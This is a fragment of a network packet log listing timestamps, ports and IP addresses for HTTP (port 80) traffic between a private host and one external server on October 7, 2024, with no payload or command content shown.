Oct 7, 2024 18:00:27.900053978 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.900064945 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.900073051 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.900083065 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.900094032 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.900108099 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.900134087 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.900158882 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.900188923 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.900199890 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.900209904 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.900221109 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.900230885 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.900240898 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.900245905 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.900248051 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.900274038 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.900299072 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.900321007 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.900369883 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.900424957 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.900437117 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.900445938 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.900456905 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.900465965 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.900476933 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.900479078 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.900502920 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.900525093 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.900635004 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.900645971 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.900656939 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.900685072 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.900732040 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.900804996 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.900815010 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.900825024 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.900834084 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.900860071 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.900883913 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.900914907 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.900926113 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.900935888 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.900945902 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.900955915 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.900964975 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.900965929 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.900974035 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.900985956 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.901012897 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.901012897 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.901055098 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.901065111 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.901073933 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.901103973 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.901108980 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.901118040 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.901129007 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.901133060 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.901146889 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.901154995 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.901177883 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.901202917 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.901354074 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.901365042 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.901375055 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.901386023 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.901396036 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.901406050 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.901408911 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.901432037 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.901453972 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.901489019 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.901539087 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.979393959 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.979425907 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.979439020 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.979449034 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.979461908 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.979584932 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.979597092 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.979649067 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.979649067 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.979650021 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.979741096 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.980592012 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.980603933 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.980614901 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.980663061 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.980700016 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.980706930 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.980716944 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.980726004 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.980735064 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.980752945 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.980756998 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.980779886 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.980809927 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.980899096 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.980909109 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.980923891 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.980933905 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.980946064 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.980948925 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.980979919 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.981002092 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.981142044 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.981152058 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.981162071 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.981172085 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.981183052 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.981192112 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.981200933 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.981203079 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.981220961 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.981223106 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.981249094 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.981278896 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.981780052 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.981789112 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.981797934 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.981806993 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.981817961 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.981827021 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.981837034 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.981842041 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.981847048 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.981870890 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.981904984 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.981919050 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.981929064 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.981939077 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.981950045 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.981959105 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.981966019 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.981991053 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.982022047 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.982127905 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.982139111 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.982156038 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.982166052 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.982176065 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.982180119 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.982217073 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.982217073 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.982398033 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.982413054 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.982423067 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.982433081 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.982443094 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.982450008 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.982451916 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.982461929 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.982472897 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.982471943 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.982486010 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.982490063 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.982513905 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.982547998 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.982826948 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.982840061 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.982850075 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.982862949 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.982876062 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.982886076 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.982892036 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.982919931 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.982939005 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.982942104 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.982954979 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.982988119 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.983019114 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.983444929 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.983494997 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.983500957 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.983505964 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.983539104 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.983570099 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.983577013 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.983587027 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.983597040 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.983603001 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.983623981 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.983655930 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.983731985 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.983783960 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.983860016 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.983870983 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.983880997 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.983891010 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.983901024 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.983916998 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.983948946 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.984200954 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.984246969 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.984253883 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.984256983 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.984288931 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.984322071 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.984333992 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.984385967 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.984446049 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.984457016 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.984467030 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.984477043 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.984488010 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.984498024 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.984502077 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.984528065 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.984555960 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.984736919 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.984747887 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.984757900 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.984790087 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.984890938 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.984951973 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.984962940 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.984972954 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.984982967 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.985012054 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.985042095 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.985106945 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.985116959 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.985173941 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.985290051 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.985301018 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.985349894 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.985687017 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.985745907 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.985882044 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.985893011 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.985944986 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.986324072 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.986382961 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.986462116 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.986515999 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.986560106 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.986571074 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.986615896 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.987452984 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.987533092 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.987628937 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.987694979 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.988925934 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.989044905 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.989084005 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.989140987 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.989581108 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.989589930 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.989600897 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.989615917 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.989629030 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.989633083 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.989669085 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.989701033 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:28.064960003 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.064970970 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.064980984 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.065212011 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:28.065653086 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.065664053 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.065675020 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.065685034 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.065726995 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:28.065767050 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:28.067039967 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.067049980 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.067075014 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.067106009 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:28.067137957 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:28.067213058 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.067224026 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.067234039 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.067243099 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.067254066 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.067262888 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.067267895 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.067281008 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:28.067332983 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:28.067332983 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:28.067380905 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.067409992 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.067420006 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.067430973 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.067436934 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:28.067440033 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.067451954 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.067462921 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:28.067501068 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:28.067501068 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:28.067869902 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.067882061 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.067893028 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.067904949 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.067928076 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:28.067955971 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:28.068195105 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.068217039 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.068228960 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.068253040 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:28.068284035 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:28.068350077 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.068362951 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.068373919 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.068384886 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.068404913 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:28.068432093 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:28.068533897 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.068547010 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.068557024 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.068567991 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.068578959 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.068588972 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.068598032 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:28.068629026 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:28.068672895 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:28.068703890 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.068715096 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.068726063 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.068737030 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.068747044 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.068753004 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.068763971 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.068797112 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:28.068826914 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:28.068826914 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:28.068851948 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.068862915 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.068873882 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.068902016 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:28.068933964 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:28.069031954 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.069045067 CEST	80	49718	46.8.231.109	192.168.2.6
